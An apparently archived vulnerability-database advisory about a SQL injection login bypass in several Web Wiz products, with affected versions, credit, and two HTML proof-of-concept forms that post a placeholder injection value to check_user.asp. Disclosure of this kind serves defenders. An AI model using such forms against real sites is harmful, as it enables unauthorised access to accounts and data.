exploits , vulnerabilities , articles , Web Wiz Multiple Products SQL Injection Vulnerability

Title	Web Wiz Multiple Products SQL Injection Vulnerability
Published	2005-12-30-12:00AM
Updated	2005-12-30-04:27PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovered by DevilBox of KAPDA.
Vulnerable	Web Wiz Site News Access 97 3.0 6 Web Wiz Site News Access 2000 3.0 6 Web Wiz Polls Access 97 3.0 6 Web Wiz Polls Access 2000 3.0 6 Web Wiz Journal Access 97 1.0 Web Wiz Journal Access 2000 1.0 Web Wiz Database Login Access 97 1.71 Web Wiz Database Login Access 2000 1.71
Not Vulnerable
Code	An exploit is not required. The following proof of concept example is available: <html> <h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html> <html> <h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability
2009-12-14 Microsoft Protected Extensible Authentication Protocol Authentication Bypass Vulnerability
2009-12-14 Google Chrome DNS Pre-Fetching Proxy Cache Information Disclosure Vulnerability
2009-12-14 Oracle E-Business Suite Multiple Remote Vulnerabilities
2009-12-14 MySQL Multiple Remote Denial Of Service Vulnerabilities